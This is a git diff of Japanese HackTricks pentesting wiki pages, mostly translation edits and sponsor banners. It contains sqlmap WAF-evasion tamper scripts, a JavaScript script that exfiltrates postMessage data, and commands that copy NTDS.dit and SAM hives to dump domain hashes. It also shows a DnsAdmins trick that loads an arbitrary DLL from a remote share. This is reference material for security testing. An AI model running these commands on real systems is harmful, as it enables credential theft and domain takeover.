| space2comment.py | スペース文字(' ')をコメントに置き換えます。 | | space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します。 | | space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します。 |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します。 | | space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します。 |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 | | space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応&&および)に置き換えます。 | | symboliclogical.py | ANDおよびOR論理演算子をその記号対応&&および)に置き換えます。 |
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 | | unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
| unmagicquotes.py | 引用文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します動作させるため | | unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します動作させるため。 |
| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 | | uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 |
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 | | varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 | | versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
@ -205,7 +207,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -218,8 +222,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,12 +15,21 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
</details> </details>
{% endhint %} {% endhint %}
すべてのWebペンテストには、**脆弱性が存在する可能性のある隠れた場所と明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
## Proxies #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
すべてのWebペンテストには、**脆弱性があるかもしれない隠れた場所と明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。
## プロキシ
{% hint style="info" %} {% hint style="info" %}
現在、**Web** **アプリケーション**は通常、何らかの**仲介** **プロキシ**を使用しています。これらは脆弱性を悪用するために(悪用されることもあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。 現在、**ウェブ** **アプリケーション**は通常、何らかの**仲介** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性は、脆弱なプロキシが存在する必要がありますが、通常はバックエンドに追加の脆弱性も必要です。
{% endhint %} {% endhint %}
* [ ] [**ホップバイホップヘッダーの悪用**](abusing-hop-by-hop-headers.md) * [ ] [**ホップバイホップヘッダーの悪用**](abusing-hop-by-hop-headers.md)
@ -35,7 +44,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## **ユーザー入力** ## **ユーザー入力**
{% hint style="info" %} {% hint style="info" %}
ほとんどのWebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\ ほとんどのウェブアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。 データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。
{% endhint %} {% endhint %}
@ -59,7 +68,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md) * [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](xs-search/) * [ ] [**XS-Search**](xs-search/)
上記の脆弱性のいくつかは特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます: いくつかの脆弱性は特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
{% content-ref url="pocs-and-polygloths-cheatsheet/" %} {% content-ref url="pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -76,7 +85,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [ ] [**SQLインジェクション**](sql-injection/) * [ ] [**SQLインジェクション**](sql-injection/)
* [ ] [**XPATHインジェクション**](xpath-injection.md) * [ ] [**XPATHインジェクション**](xpath-injection.md)
### **フォーム、WebSockets、PostMsgs** ### **フォーム、WebSocket、PostMsg**
WebSocketがメッセージを投稿したり、ユーザーがアクションを実行できるフォームがある場合、脆弱性が発生する可能性があります。 WebSocketがメッセージを投稿したり、ユーザーがアクションを実行できるフォームがある場合、脆弱性が発生する可能性があります。
@ -86,16 +95,16 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
### **HTTPヘッダー** ### **HTTPヘッダー**
Webサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。 ウェブサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。
* [ ] [**クリックジャッキング**](clickjacking.md) * [ ] [**クリックジャッキング**](clickjacking.md)
* [ ] [**コンテンツセキュリティポリシーバイパス**](content-security-policy-csp-bypass/) * [ ] [**コンテンツセキュリティポリシーバイパス**](content-security-policy-csp-bypass/)
* [ ] [**クッキーハッキング**](hacking-with-cookies/) * [ ] [**クッキーハッキング**](hacking-with-cookies/)
* [ ] [**CORS - 設定ミスとバイパス**](cors-bypass.md) * [ ] [**CORS - 設定ミスとバイパス**](cors-bypass.md)
### **バイパス** ### **バイパス**
特定の機能には、バイパスするために役立ついくつかの回避策があります。 特定の機能には、バイパスするために役立ついくつかの回避策がある場合があります。
* [ ] [**2FA/OTPバイパス**](2fa-bypass.md) * [ ] [**2FA/OTPバイパス**](2fa-bypass.md)
* [ ] [**支払いプロセスのバイパス**](bypass-payment-process.md) * [ ] [**支払いプロセスのバイパス**](bypass-payment-process.md)
@ -108,8 +117,8 @@ Webサーバーから提供されるHTTPヘッダーによって、いくつか
### **構造化されたオブジェクト/特定の機能** ### **構造化されたオブジェクト/特定の機能**
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**言語シリアライズオブジェクトやXMLのように。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\ いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**言語シリアライズオブジェクトやXMLのように。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
一部の**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。 特定の入力形式が使用される場合、**特定の機能**も脆弱である可能性があります(メールヘッダーインジェクションのように)。
* [ ] [**デシリアライズ**](deserialization/) * [ ] [**デシリアライズ**](deserialization/)
* [ ] [**メールヘッダーインジェクション**](email-injections.md) * [ ] [**メールヘッダーインジェクション**](email-injections.md)
@ -120,7 +129,7 @@ Webサーバーから提供されるHTTPヘッダーによって、いくつか
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\ ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\ ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
ユーザーがアップロードしたファイルやユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。 ユーザーがアップロードしたファイルやユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
* [ ] [**ファイルアップロード**](file-upload/) * [ ] [**ファイルアップロード**](file-upload/)
* [ ] [**数式インジェクション**](formula-csv-doc-latex-ghostscript-injection.md) * [ ] [**数式インジェクション**](formula-csv-doc-latex-ghostscript-injection.md)
@ -141,6 +150,16 @@ Webサーバーから提供されるHTTPヘッダーによって、いくつか
* [ ] [**パラメータ汚染**](parameter-pollution.md) * [ ] [**パラメータ汚染**](parameter-pollution.md)
* [ ] [**Unicode正規化脆弱性**](unicode-injection/) * [ ] [**Unicode正規化脆弱性**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -7,11 +7,15 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript ```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data)) exfil_info("onmessage", encode(e.data))
} }
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,6 +15,13 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## 管理権限を持つよく知られたグループ ## 管理権限を持つよく知られたグループ
* **管理者** * **管理者**
@ -65,7 +72,7 @@ C:\> .\PsService.exe security AppReadiness
``` ```
このコマンドは、`Server Operators`が完全なアクセス権を持ち、特権を昇格させるためにサービスを操作できることを明らかにします。 このコマンドは、`Server Operators`が完全なアクセス権を持ち、特権を昇格させるためにサービスを操作できることを明らかにします。
## Backup Operators ## バックアップオペレーター
`Backup Operators`グループのメンバーシップは、`SeBackup`および`SeRestore`特権により、`DC01`ファイルシステムへのアクセスを提供します。これらの特権により、明示的な権限がなくても、`FILE_FLAG_BACKUP_SEMANTICS`フラグを使用してフォルダのトラバーサル、リスト表示、およびファイルコピー機能が可能になります。このプロセスには特定のスクリプトを利用する必要があります。 `Backup Operators`グループのメンバーシップは、`SeBackup`および`SeRestore`特権により、`DC01`ファイルシステムへのアクセスを提供します。これらの特権により、明示的な権限がなくても、`FILE_FLAG_BACKUP_SEMANTICS`フラグを使用してフォルダのトラバーサル、リスト表示、およびファイルコピー機能が可能になります。このプロセスには特定のスクリプトを利用する必要があります。
@ -94,7 +101,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over
``` ```
### AD攻撃 ### AD攻撃
ドメインコントローラーのファイルシステムへの直接アクセスは、ドメインユーザーとコンピュータのすべてのNTLMハッシュを含む`NTDS.dit`データベースの盗難を可能にします。 ドメインコントローラーのファイルシステムへの直接アクセスは、ドメインユーザーとコンピュータのすべてのNTLMハッシュを含む`NTDS.dit`データベースの盗難を可能にします。
#### diskshadow.exeの使用 #### diskshadow.exeの使用
@ -124,7 +131,7 @@ robocopy /B F:\Windows\NTDS .\ntds ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV reg save HKLM\SAM SAM.SAV
``` ```
4. `NTDS.dit` からすべてのハッシュを取得する: 4. `NTDS.dit`からすべてのハッシュを取得する:
```shell-session ```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
``` ```
@ -143,7 +150,7 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
## DnsAdmins ## DnsAdmins
**DnsAdmins**グループのメンバーは、DNSサーバー上でSYSTEM権限を持つ任意のDLLをロードするためにその権限を悪用できます。これは通常、ドメインコントローラー上でホストされています。この能力は、重大な悪用の可能性を提供します。 **DnsAdmins**グループのメンバーは、DNSサーバー(通常はドメインコントローラーにホストされている)でSYSTEM権限を持つ任意のDLLをロードするためにその権限を悪用できます。この能力は、重大な悪用の可能性をもたらします。
DnsAdminsグループのメンバーをリストするには、次のコマンドを使用します DnsAdminsグループのメンバーをリストするには、次のコマンドを使用します
```powershell ```powershell
@ -151,7 +158,7 @@ Get-NetGroupMember -Identity "DnsAdmins" -Recurse
``` ```
### 任意のDLLを実行する ### 任意のDLLを実行する
メンバーは、次のようなコマンドを使用してDNSサーバーに任意のDLLローカルまたはリモート共有からをロードさせることができます: メンバーは、次のようなコマンドを使用してDNSサーバーに任意のDLLローカルまたはリモート共有からをロードさせることができます:
```powershell ```powershell
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
@ -207,18 +214,18 @@ Firefox の Mozilla Maintenance Service は、Hyper-V 管理者によって SYST
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance sc.exe start MozillaMaintenance
``` ```
Note: ハードリンクの悪用は最近のWindowsアップデートで軽減されています。 Note: ハードリンクの悪用は最近のWindowsアップデートで軽減されています。
## 組織管理 ## 組織管理
**Microsoft Exchange**が展開されている環境では、**Organization Management**という特別なグループが重要な権限を持っています。このグループは**すべてのドメインユーザーのメールボックスにアクセスする**特権を持ち、**'Microsoft Exchange Security Groups'**組織単位OUに対して**完全な制御**を維持しています。この制御には、特権昇格に悪用可能な**`Exchange Windows Permissions`**グループが含まれます。 **Microsoft Exchange**が展開されている環境では、**Organization Management**という特別なグループが重要な権限を持っています。このグループは**すべてのドメインユーザーのメールボックスにアクセスする**特権を持ち、**「Microsoft Exchange Security Groups」**組織単位OUに対して**完全な制御**を維持しています。この制御には、特権昇格に悪用される可能性のある**`Exchange Windows Permissions`**グループが含まれます。
### 特権の悪用とコマンド ### 特権の悪用とコマンド
#### プリントオペレーター #### プリントオペレーター
**Print Operators**グループのメンバーは、**`SeLoadDriverPrivilege`**を含むいくつかの特権を持っており、これにより**ドメインコントローラーにローカルでログオン**し、シャットダウンし、プリンターを管理することができます。これらの特権を悪用するには、特に**`SeLoadDriverPrivilege`**が昇格されていないコンテキストで表示されない場合、ユーザーアカウント制御UACをバイパスする必要があります。 **Print Operators**グループのメンバーは、**`SeLoadDriverPrivilege`**を含むいくつかの特権を持っており、これにより**ドメインコントローラーにローカルでログオン**し、シャットダウンし、プリンターを管理することができます。これらの特権を悪用するには、特に**`SeLoadDriverPrivilege`**が昇格されていないコンテキストで表示されない場合、ユーザーアカウント制御UACをバイパスする必要があります。
このグループのメンバーをリストするには、次のPowerShellコマンドが使用されます: このグループのメンバーをリストするには、次のPowerShellコマンドを使用します:
```powershell ```powershell
Get-NetGroupMember -Identity "Print Operators" -Recurse Get-NetGroupMember -Identity "Print Operators" -Recurse
``` ```
@ -233,7 +240,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users
さらにRDPを悪用するための洞察は、専用のpentestingリソースにあります。 さらにRDPを悪用するための洞察は、専用のpentestingリソースにあります。
#### リモート管理ユーザー #### リモート管理ユーザー
メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、の方法で達成されます: メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、以下の方法で達成されます:
```powershell ```powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
@ -241,7 +248,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
**WinRM**に関連するエクスプロイト技術については、特定のドキュメントを参照する必要があります。 **WinRM**に関連するエクスプロイト技術については、特定のドキュメントを参照する必要があります。
#### サーバーオペレーター #### サーバーオペレーター
このグループは、ドメインコントローラー上でさまざまな構成を実行する権限を持っており、バックアップおよび復元の権限、システム時間の変更、システムのシャットダウンが含まれます。メンバーを列挙するためのコマンドは次のとおりです このグループは、ドメインコントローラー上でさまざまな構成を実行する権限を持っており、バックアップおよび復元の権限、システム時間の変更、システムのシャットダウンが含まれます。メンバーを列挙するためのコマンドは次のとおりです:
```powershell ```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse Get-NetGroupMember -Identity "Server Operators" -Recurse
``` ```
@ -262,9 +269,16 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) * [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) * [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -272,7 +286,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,15 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**このページは** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**によって書かれました!** <figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## **AV回避方法論** If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %}
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **AV Evasion Methodology**
現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。 現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。
### **静的検出** ### **静的検出**
